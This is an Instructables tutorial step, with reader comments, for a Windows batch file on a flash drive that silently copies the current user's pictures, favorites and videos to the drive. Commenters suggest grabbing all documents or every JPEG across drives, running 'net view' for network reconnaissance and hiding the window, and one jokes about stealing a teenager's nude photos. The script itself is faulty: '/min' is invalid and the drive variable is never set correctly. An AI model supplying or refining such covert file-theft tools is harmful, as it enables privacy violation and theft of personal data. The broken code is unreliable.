How to make flash drive that copy's users files silently and automatically

 by bigdaddyclint

Step 3: Make the file for copy of documents to drive

filedotbat.jpg
This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh
 
Remove these adsRemove these ads by Signing Up
vincenthor says: Apr 16, 2013. 8:55 AM
how about automatically copying all files from any USB plugged to the computer into the hard drive?
shan0 says: Apr 28, 2012. 7:01 AM
hello
its really great subject but i just want to ask if want to copy the jpg files
but from the whole hard drive
not only form the C drive
i mean form the drive D,E,F..... etc
what should i write
and thanks alot
Jedi_Master_Revan says: Mar 27, 2009. 4:02 PM
Really cool idea, but your DOSing needs some work. Like, a lot off work.
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.

Still a really cool idea though :)
-Revan
Jaware in reply to Jedi_Master_RevanJan 14, 2012. 8:02 PM
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.

copied from cmd help itself states:
----------------------------------------------------------------------------------------------------
%PATH:~10,5%

would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.

%PATH:~-10%

would extract the last 10 characters of the PATH variable.

%PATH:~0,-2%

would extract all but the last 2 characters of the PATH variable.
-----------------------------------------------------------------------------------------------------
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.

such as
C:
F:
D:
and so on and so forth.

and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
redbeardedone says: Mar 21, 2011. 6:23 PM
Why does it run so slow??? Used it on a HP 6500 with a Sandisk Cruzer 8G... Also I converted the .bat file to .exe Would that make a difference maybe?
dhynds100 says: Jun 30, 2010. 9:55 PM
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
superant10000 in reply to dhynds100Jul 12, 2010. 2:13 PM
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from a teen girls laptop...
knoxarama says: May 8, 2009. 5:34 PM
so if your a soldier in iraq, does that mean you got this from like the U.S. government or something? oh and, GO SOLDIERS, U ROCK KEEP OUR COUNTRY SAFE!!!!!! U GUYS ROCK!!!! GOD BLESS OUR TROOPS!!!!!
truthkid in reply to knoxaramaJun 28, 2009. 1:15 AM
No this is basic batch nonsense. The admins of the military's network are one step ahead with

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
Value = 3

No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card you use to login.
gibsonav in reply to truthkidJun 27, 2010. 9:42 AM
and why does the DOIM do this? for tweaks just like this one. the machine and the data on it is property of the us government. violation of a DoD OpOrd is an article 15 punishable offense...nuff said. this is for "HOME" use.
Kryptonite in reply to truthkidOct 13, 2009. 2:27 AM
So that's how they do it at school.
knoxarama in reply to truthkidJun 28, 2009. 6:12 AM
if it works it works. i've tried it and it works. it's useful. nonsense or not, if you can copy files off of a computer like that with such simple code it is something worth looking at.
animan1 in reply to knoxaramaJun 4, 2009. 3:18 AM
that right let god bless the soldiers in a good way.
MetalBowser22 says: Nov 17, 2009. 5:43 PM
can you copy more than three files,
like documents, videos, picture, and favorites
mitchell931993 in reply to MetalBowser22Jun 23, 2010. 1:30 AM
if you tell it to copy "*" it will copy erything, the * is a wild card character
benny3521 says: May 17, 2010. 5:09 AM
Question: how do i make it not shut down?
mitchell931993 in reply to benny3521Jun 23, 2010. 1:29 AM
just dont include the "shutdown" bit
3xpl0dingR4pt0r says: Jun 20, 2010. 7:38 PM
do you save this to the flashdrive??
bradster says: Nov 6, 2009. 8:24 PM
what if you wanted to copy all of the my docments folder?
Minifig666 in reply to bradsterJun 20, 2010. 12:42 AM
Then set it to copy my documents!
eneergcam in reply to Minifig666Jun 20, 2010. 9:57 AM
how?
Minifig666 in reply to eneergcamJun 20, 2010. 10:40 AM
Just leave it as '%backupcmd% "%USERPROFILE%"' for XP. On vista if you just want the 'My Documents' folder you would need to set it as '%backupcmd% "%USERPROFILE%\My Documents"' however the videos and pictures are stored in different foloders. To get them too you should leave it as is for XP.
Master2128 says: May 10, 2009. 7:13 PM
This works, but for some reason only the pictures get copied, nothing else. I made sure all the codes were right.
alondra452 says: Apr 5, 2009. 8:42 AM
(removed by author or community request)
alondra452 in reply to alondra452May 8, 2009. 6:11 PM
Thanks
therealsylar in reply to alondra452Apr 28, 2009. 4:38 PM
yeah u can do
%backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\all\New Folder" for just jpeg pictues (u might also want to do another line that says *.jpeg
or *.gif etc.. for the different types of pictures
for the text documents it would be %backupcmd% "%USERPROFILE%\My Documents\*.txt" "%drive%\all\New Folder"
and the * is a wildcard so it means like anything .jpg or .gif etc..
you can also use the wildcard like this new*.jpg
new being whatever you word u want so it would only copy jpg files that have new at the begining of the file name
so it would copy "my documents\new1.jpg and new2.jpg but now 3.jpg
hope that makes sense :)) lol
knoxarama in reply to therealsylarMay 8, 2009. 5:29 PM
you could also do something like %backupcmd% "%USERPROFILE%\My Documents\*.doc" "%drive%\all\New Folder" to get documents as well
therealsylar in reply to therealsylarApr 28, 2009. 4:39 PM
*but NOT lol spell check did not help me there
Kryptonite in reply to alondra452Apr 26, 2009. 1:51 AM
Yeah I'd like this but I want music. What do you want text docs for?
Dr.H2O says: Mar 27, 2009. 2:00 PM
now don't get it : does that code searches for a file named "music" for example? & will it search that file in all hard drive partitions ? Another Question dude : open\shell is a backup in case of chosing cancel..van we use it directly I mean without any prmpet ?? :):) pardon me but am so ignorant about such Things ~~ ur answer will be appreciated !
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!